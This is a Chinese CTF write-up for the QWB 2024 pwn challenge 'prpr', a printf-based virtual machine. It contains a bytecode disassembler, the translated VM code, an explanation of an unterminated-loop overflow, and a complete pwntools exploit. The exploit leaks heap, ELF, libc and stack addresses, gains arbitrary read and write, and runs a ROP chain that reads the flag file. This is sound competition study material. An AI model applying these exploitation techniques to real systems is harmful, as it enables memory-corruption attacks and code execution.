0%

qwb2024_prpr

通过注册一系列printf处理函数来实现了一个虚拟机

其中虚拟机指令片段在0x3140处

写了一个脚本对指令进行翻译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#coding:utf8
from pwn import *

context(arch='i386')

map = {
'O':'release',
'A':'add',
'C':'and',
'D':'mem[offset] &= pop()',
'E':'or',
'F':'mem[offset] |= pop()',
'G':'xor',
'H':'mem[offset] ^= pop()',
'i':'mul',
'J':'shl',
'K':'shr',
'r':'greater',
'M':'eq',
'N':'jmp',
'S':'jnz',
'T':'jz',
'U':'push',
'V':'load',
'k':'push_r',
'X':'store',
'Y':'pop_r',
'y':'print pop()',
'a':'push getint()',
'b':'print mem[pop()]',
'c':'read mem[pop()]',
'f':'dec sp',
'g':'call',
'n':'return',
'x':'exit_'
}

f = open('prpr','rb')
content = f.read()
f.close()

code = content[0x3140:0x3140+250*12]
no_args = ['exit_','return','dec sp','push getint()','add','print pop()','print mem[pop()]','mul','read mem[pop()]','and','xor','or',
'mem[offset] ^= pop()','mem[offset] |= pop()','mem[offset] &= pop()','greater']

for i in range(250):
opcode = code[i*12+1]
dont_change_sp = False
if opcode == '#':
opcode = code[i*12+2]
dont_change_sp = True
op_str = opcode
if opcode == 'V':
if dont_change_sp:
op_str = str(i) + ' ' + '*sp = mem[*sp]'
else:
op_str = str(i) + ' ' + 'push mem[%d]' % ord(code[i*12+8])

elif opcode == 'X':
if dont_change_sp:
op_str = str(i) + ' ' + 'mem[pop()]=pop()'
else:
op_str = str(i) + ' ' + 'mem[%d]=pop()' % ord(code[i*12+8])
elif opcode in map:
op_str = str(i) + ' ' + map[opcode]
if map[opcode] not in no_args:
if not op_str.endswith("_r"):
op_str += ' '
op_str += str(ord(code[i*12+8]))
else:
op_str = opcode
print op_str

翻译后得到的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
0 exit_
1 push getint()
2 pop_r1
3 push 255
4 push_r1
5 greater
6 jnz 0
7 push_r1
8 push 0
9 greater
10 jnz 0
11 push getint()
12 pop_r2
13 push 63
14 push_r2
15 greater
16 jnz 0
17 push_r2
18 push 0
19 greater
20 jnz 0
21 push_r2
22 push 4
23 mul
24 read mem[pop()]
25 push_r1
26 mem[offset] &= pop()
27 push_r2
28 push 4
29 mul
30 print mem[pop()]
31 return
32 push getint()
33 pop_r3
34 push getint()
35 pop_r4
36 push 63
37 push_r4
38 greater
39 jnz 0
40 push_r4
41 push 0
42 greater
43 jnz 0
44 push 0
45 pop_r5
46 push_r4
47 push_r5
48 greater
49 jnz 59
50 call 60
51 push_r3
52 and
53 print pop()
54 push_r5
55 push 1
56 add
57 pop_r5
58 jmp 46
59 return
60 push getint()
61 push_r5
62 mem[pop()]=pop()
63 push_r5
64 *sp = mem[*sp]
65 push 255
66 eq 0
67 jnz 0
68 push_r5
69 *sp = mem[*sp]
70 return
71 push getint()
72 pop_r0
73 push 1
74 push_r0
75 eq 0
76 jz 79
77 call 1
78 jmp 71
79 push 2
80 push_r0
81 eq 0
82 jz 85
83 call 32
84 jmp 71
85 push 3
86 push_r0
87 eq 0
88 jz 91
89 call 110
90 jmp 71
91 push 4
92 push_r0
93 eq 0
94 jz 97
95 call 141
96 jmp 71
97 push 5
98 push_r0
99 eq 0
100 jz 103
101 call 178
102 jmp 71
103 push 6
104 push_r0
105 eq 0
106 jz 109
107 call 209
108 jmp 71
109 exit_
110 push getint()
111 pop_r1
112 push 255
113 push_r1
114 greater
115 jnz 0
116 push_r1
117 push 0
118 greater
119 jnz 0
120 push getint()
121 pop_r2
122 push 63
123 push_r2
124 greater
125 jnz 0
126 push_r2
127 push 0
128 greater
129 jnz 0
130 push_r2
131 push 4
132 mul
133 read mem[pop()]
134 push_r1
135 mem[offset] ^= pop()
136 push_r2
137 push 4
138 mul
139 print mem[pop()]
140 return
141 push getint()
142 pop_r3
143 push getint()
144 pop_r4
145 push 62
146 push_r4
147 greater
148 jnz 0
149 push_r4
150 push 0
151 greater
152 jnz 0
153 push 0
154 pop_r5
155 push_r4
156 push_r5
157 greater
158 jnz 177
159 call 60
160 push_r3
161 xor
162 push_r5
163 mem[pop()]=pop()
164 push_r5
165 *sp = mem[*sp]
166 push 255
167 eq 0
168 jnz 0
169 push_r5
170 *sp = mem[*sp]
171 print pop()
172 push_r5
173 push 1
174 add
175 pop_r5
176 jmp 155
177 return
178 push getint()
179 pop_r1
180 push 255
181 push_r1
182 greater
183 jnz 0
184 push_r1
185 push 0
186 greater
187 jnz 0
188 push getint()
189 pop_r2
190 push 63
191 push_r2
192 greater
193 jnz 0
194 push_r2
195 push 0
196 greater
197 jnz 0
198 push_r2
199 push 4
200 mul
201 read mem[pop()]
202 push_r1
203 mem[offset] |= pop()
204 push_r2
205 push 4
206 mul
207 print mem[pop()]
208 return
209 push getint()
210 pop_r3
211 push getint()
212 pop_r4
213 push 63
214 push_r4
215 greater
216 jnz 0
217 push_r4
218 push 0
219 greater
220 jnz 0
221 push 0
222 pop_r5
223 push_r4
224 push_r5
225 greater
226 jnz 245
227 call 60
228 push_r3
229 or
230 push_r5
231 mem[pop()]=pop()
232 push_r5
233 *sp = mem[*sp]
234 push 255
235 eq 0
236 jnz 0
237 push_r5
238 *sp = mem[*sp]
239 print pop()
240 push_r5
241 push 1
242 add
243 pop_r5
244 jmp 223
245 return
246 exit_
247 exit_
248 exit_
249 exit_

功能有6个,功能1 输入数据到global->memory[mem_idx],并对数据跟输入的一个char数据进行与运算,与运算调用了函数

功能2依次输入数据,并与输入的一个int数据进行与运算。功能3、5与1类似,分别为异或、或运算,功能4、6与2类似,分别为依次的异或、或运算。
漏洞在于mem_and、mem_xor、mem_or这三个函数循环的终止条件不正确。如果字符串没有被\0截断,则循环将继续进行,进而覆盖后面的数据

其中memory结构体如下

数据区大小为0x100,继续向下可以覆盖return_addr,这个return_addr在返回时会用到,即有机会控制pc指针

我们准备利用xor来覆盖,首先从指令中的push 63 push_r2 greater可以知道size限制为64*4 = 0x100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
110 push getint()
111 pop_r1
112 push 255
113 push_r1
114 greater
115 jnz 0
116 push_r1
117 push 0
118 greater
119 jnz 0
120 push getint()
121 pop_r2
122 push 63
123 push_r2
124 greater
125 jnz 0
126 push_r2
127 push 0
128 greater
129 jnz 0
130 push_r2
131 push 4
132 mul
133 read mem[pop()]
134 push_r1
135 mem[offset] ^= pop()
136 push_r2
137 push 4
138 mul
139 print mem[pop()]
140 return

但是这里起始的位置实际上是向前挪了4字节,因此memory的buf里只有0~252字节有数据,最后4字节为0,导致循环不能继续

但是注意到功能4的依次异或可以写252~256字节的数据,这里用的mem就没有向前偏移4字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
141 push getint()
142 pop_r3
143 push getint()
144 pop_r4
145 push 62
146 push_r4
147 greater
148 jnz 0
149 push_r4
150 push 0
151 greater
152 jnz 0
153 push 0
154 pop_r5
155 push_r4
156 push_r5
157 greater
158 jnz 177
159 call 60
160 push_r3
161 xor
162 push_r5
163 mem[pop()]=pop()
164 push_r5
165 *sp = mem[*sp]
166 push 255
167 eq 0
168 jnz 0
169 push_r5
170 *sp = mem[*sp]
171 print pop()
172 push_r5
173 push 1
174 add
175 pop_r5
176 jmp 155
177 return

因此可以先调用功能4把memory的buf填满,然后调用功能3触发循环未截断的漏洞去覆盖return_addr。可以将return_addr覆盖为50,因此50这里是call 60函数调用,上下文中,r5此时为0x40。不直接覆盖return_addr为60,因为return会使得mem_idx–,call会使得mem_idx++,我们需要确保mem_idx不超出检查范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
50 call 60
51 push_r3
52 and
53 print pop()
54 push_r5
55 push 1
56 add
57 pop_r5
58 jmp 46
59 return
60 push getint()
61 push_r5
62 mem[pop()]=pop()
63 push_r5
64 *sp = mem[*sp]
65 push 255
66 eq 0
67 jnz 0
68 push_r5
69 *sp = mem[*sp]
70 return

当执行60 push getint()
61 push_r5
62 mem[pop()]=pop()时,可以输入一个任意数据,由于r5为0x40,则可以将return_addr覆盖为任意数据,因此实现了pc任意可控。
将pc偏移指向可控区,并伪造一系列虚拟机指令结构体,先泄漏堆地址和ELF地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
code = b'a'*0x8
#set mem_idx = 0
code += call(int(-0x65cc/12+1)) #mem_idx++
#leak code heap addr
code += push(-0x10c4//4) + load_into_stack()
code += print_sp_value()
code += push(-0x10c4//4+1) + load_into_stack()
code += print_sp_value()

#leak elf_base
if LOCAL:
print_mem_ptr_off = -0x19D4 #local
else:
print_mem_ptr_off = -0x15C4 #remote

code += push(print_mem_ptr_off//4) + load_into_stack()
code += print_sp_value()
code += push(print_mem_ptr_off//4+1) + load_into_stack()
code += print_sp_value()

code += input_sp()
#leak free_got address
code += input_sp()
code += load_into_stack()
code += print_sp_value()

#read stage2 code into mem[0] and exec
code += push(0xec) + read_mem()
code += jmp(int(-0x65cc/12+3))

然后继续调用了read_mem()读入第二阶段的虚拟机指令,因为大小不够,分段读入执行。
第二阶段把ROP事先读入到一个新的memory中后续使用,然后通过改写regs指针并结合push_r实现任意地址读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#stage 2

code = b'a'*0x8
code += push(0xfc) + read_mem()
code += retn()
#stage2 start
code += input_sp()
code += load_into_stack()
code += print_sp_value()
code += call(int(-0x65cc/12)) #read rop into mem[1]

code += input_sp()
code += push(-0x10b4//4) + store_into_mem()
code += input_sp()
code += push(-0x10b4//4+1) + store_into_mem()
code += push_r(0) #leak stack_addr
code += print_sp_value()
'''code += push_r(1) #leak stack_addr
code += print_sp_value()
'''

#read stage3 code into mem[0] and exec
code += push(0xd4) + read_mem()
code += jmp(int(-0x65cc/12))


code = code.ljust(0xec,b'a')
sh.sendline(code)

利用任意地址读泄漏environ的值得到栈地址,然后第三阶段利用pop_r进行任意地址写改写栈,pop rsp ; ret到到我们布置的ROP中执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#stage 3
code = b'a'*0x8 + push_r(1) #leak stack_addr high
code += print_sp_value()
#set regs ptr
code += input_sp()
code += push(-0x10b4//4) + store_into_mem()
code += input_sp()
code += push(-0x10b4//4+1) + store_into_mem()
#edit pop_r's return address
code += push(rop_addr & 0xffffffff)
code += pop_r(2)
code += push(rop_addr >> 32)
code += pop_r(3)
code += push(pop_rsp & 0xffffffff)
code += pop_r(0)
code += push(pop_rsp >> 32)
code += pop_r(1)
code += jmp(1000)

完整的EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
#coding:utf8
from pwn import *

context.log_level = 'debug'
LOCAL = False

elf = ELF('./prpr')

if LOCAL:
sh = process('./prpr')
libc = ELF('./libc-2.39.so')
#sh = process('./prpr',env={'LD_PRELOAD':'./hook_printf.so'})
else:
sh = remote('8.147.129.74',38943)
libc = ELF('./libc-2.39.so')


def and_content(and_key,size,content):
sh.sendline('1')
sh.sendline(str(and_key))
sh.sendline('%d' % (size / 4))
sh.send(content)

def and_content_seq(and_key,size,content):
sh.sendline('2')
sh.sendline(str(and_key))
sh.sendline('%d' % (size // 4))
for i in range(size//4+1):
sh.sendline(str(ord(content[i])))

def xor_content(xor_key,size,content):
sh.sendline('3')
sh.sendline(str(xor_key))
sh.sendline('%d' % (size / 4))
sh.send(content)

def xor_content_seq(xor_key,size,content):
sh.sendline('4')
sh.sendline(str(xor_key))
sh.sendline('%d' % (size // 4))
for i in range(size//4+1):
sh.sendline(str(ord(content[i])))

def or_content(or_key,size,content):
sh.sendline('5')
sh.sendline(str(or_key))
sh.sendline('%d' % (size / 4))
sh.send(content)

def or_content_seq(or_key,size,data):
sh.sendline('6')
sh.sendline(str(or_key))
sh.sendline('%d' % (size // 4))
for i in range(size//4+1):
sh.sendline(data)

def push(x):
if x < 0:
x = x + 0x100000000
return b'%U'.ljust(8,b'\x00') + p32(x)

def load_into_stack():
return b'%#V'.ljust(8,b'\x00') + p32(0)
def store_into_mem():
return b'%#X'.ljust(8,b'\x00') + p32(0)

def print_sp_value():
return b'%y'.ljust(8,b'\x00') + p32(0)

def call(x):
if x < 0:
x = x + 0x100000000
return b'%g'.ljust(8,b'\x00') + p32(x)

def jmp(x):
if x < 0:
x = x + 0x100000000
return b'%N'.ljust(8,b'\x00') + p32(x)

def input_sp():
return b'%a'.ljust(8,b'\x00') + p32(0)

def read_mem():
return b'%c'.ljust(8,b'\x00') + p32(0)


def print_mem():
return b'%b'.ljust(8,b'\x00') + p32(0)

def retn():
return b'%n'.ljust(8,b'\x00') + p32(0)

def push_r(idx):
return b'%k'.ljust(8,b'\x00') + p32(idx)

def pop_r(idx):
return b'%Y'.ljust(8,b'\x00') + p32(idx)


code = b'a'*0x8
#set mem_idx = 0
code += call(int(-0x65cc/12+1)) #mem_idx++
#leak code heap addr
code += push(-0x10c4//4) + load_into_stack()
code += print_sp_value()
code += push(-0x10c4//4+1) + load_into_stack()
code += print_sp_value()

#leak elf_base
if LOCAL:
print_mem_ptr_off = -0x19D4 #local
else:
print_mem_ptr_off = -0x15C4 #remote

code += push(print_mem_ptr_off//4) + load_into_stack()
code += print_sp_value()
code += push(print_mem_ptr_off//4+1) + load_into_stack()
code += print_sp_value()

code += input_sp()
#leak free_got address
code += input_sp()
code += load_into_stack()
code += print_sp_value()

#read stage2 code into mem[0] and exec
code += push(0xec) + read_mem()
code += jmp(int(-0x65cc/12+3))

code = code.ljust(0xfc,b'a')

payload = b''
for x in code:
payload += p8(x ^ 0x68)

sh.recvuntil('___')
or_content_seq(0xfe,0xfc,'-1')
#return to 50
xor_content(0x68,0xfc,payload)
#move pc to run our code
#raw_input()
sh.sendline(str(-0x65cc/12))
sh.recvuntil('aaaaaaaa%g\n')
heap_addr = (int(sh.recvuntil('\n',drop = True)) & 0xffffffff) | ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) << 32)
elf_base = ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) | ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) << 32)) - 0x2750
free_got_addr = elf_base + elf.got['free']
memory_base = heap_addr - 0x65CC
print('heap_addr=',hex(heap_addr))
print('memory_base=',hex(memory_base))
print('elf_base=',hex(elf_base))
#raw_input()
sh.sendline(str((free_got_addr - memory_base)//4))
free_addr_low = int(sh.recvuntil('\n',drop = True)) & 0xffffffff
print('free_addr_low=',hex(free_addr_low))

#stage 2

code = b'a'*0x8
code += push(0xfc) + read_mem()
code += retn()
#stage2 start
code += input_sp()
code += load_into_stack()
code += print_sp_value()
code += call(int(-0x65cc/12)) #read rop into mem[1]

code += input_sp()
code += push(-0x10b4//4) + store_into_mem()
code += input_sp()
code += push(-0x10b4//4+1) + store_into_mem()
code += push_r(0) #leak stack_addr
code += print_sp_value()
'''code += push_r(1) #leak stack_addr
code += print_sp_value()
'''

#read stage3 code into mem[0] and exec
code += push(0xd4) + read_mem()
code += jmp(int(-0x65cc/12))


code = code.ljust(0xec,b'a')
sh.sendline(code)

#sleep(1)
raw_input()
sh.sendline(str((free_got_addr - memory_base)//4+1))
free_addr = free_addr_low | ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) << 32)
libc_base = free_addr - libc.sym['free']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
gets_addr = libc_base + libc.sym['gets']
puts_addr = libc_base + libc.sym['puts']
environ_addr = libc_base + libc.sym['environ']

syscall = libc_base + 0x11BA5F
pop_rax = libc_base + 0x00000000000dd237
pop_rsp = libc_base + 0x000000000003c058
pop_rdi = libc_base + 0x000000000010f75b
#pop rsi ; add eax, 0x2685c ; ret
pop_rsi = libc_base + 0x00000000001afc86
mov_edx = libc_base + 0x00000000000f9de8

print('free_addr=',hex(free_addr))
print('libc_base=',hex(libc_base))

#rop
rop_addr = heap_addr - 0x64c8
flag_addr = heap_addr - 0x6440 + 8

rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(mov_edx) + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(write_addr)
rop += b'./flag\x00'
sh.sendline(rop)

print('edit regs ptr')
raw_input()

def pack_int(x):
if x & 0x80000000 != 0:
x -= 0x100000000
return str(x)

sh.sendline(pack_int(environ_addr & 0xffffffff))
sh.sendline(pack_int(environ_addr >> 32))

#leak stack address
stack_addr_low = (int(sh.recvuntil('\n',drop = True)) & 0xffffffff)

#stage 3
code = b'a'*0x8 + push_r(1) #leak stack_addr high
code += print_sp_value()
#set regs ptr
code += input_sp()
code += push(-0x10b4//4) + store_into_mem()
code += input_sp()
code += push(-0x10b4//4+1) + store_into_mem()
#edit pop_r's return address
code += push(rop_addr & 0xffffffff)
code += pop_r(2)
code += push(rop_addr >> 32)
code += pop_r(3)
code += push(pop_rsp & 0xffffffff)
code += pop_r(0)
code += push(pop_rsp >> 32)
code += pop_r(1)
code += jmp(1000)


#code += push_r(0) #leak stack_addr
#code += print_sp_value()

code = code.ljust(0xd4,b'a')
sh.sendline(code)

stack_addr = stack_addr_low | ((int(sh.recvuntil('\n',drop = True)) & 0xffffffff) << 32)
print('stack_addr=',hex(stack_addr))
raw_input()
if LOCAL:
run_func_return_stack = stack_addr - 0x2610
else:
run_func_return_stack = stack_addr - 0x2610

sh.sendline(pack_int(run_func_return_stack & 0xffffffff))
sh.sendline(pack_int(run_func_return_stack >> 32))

sh.interactive()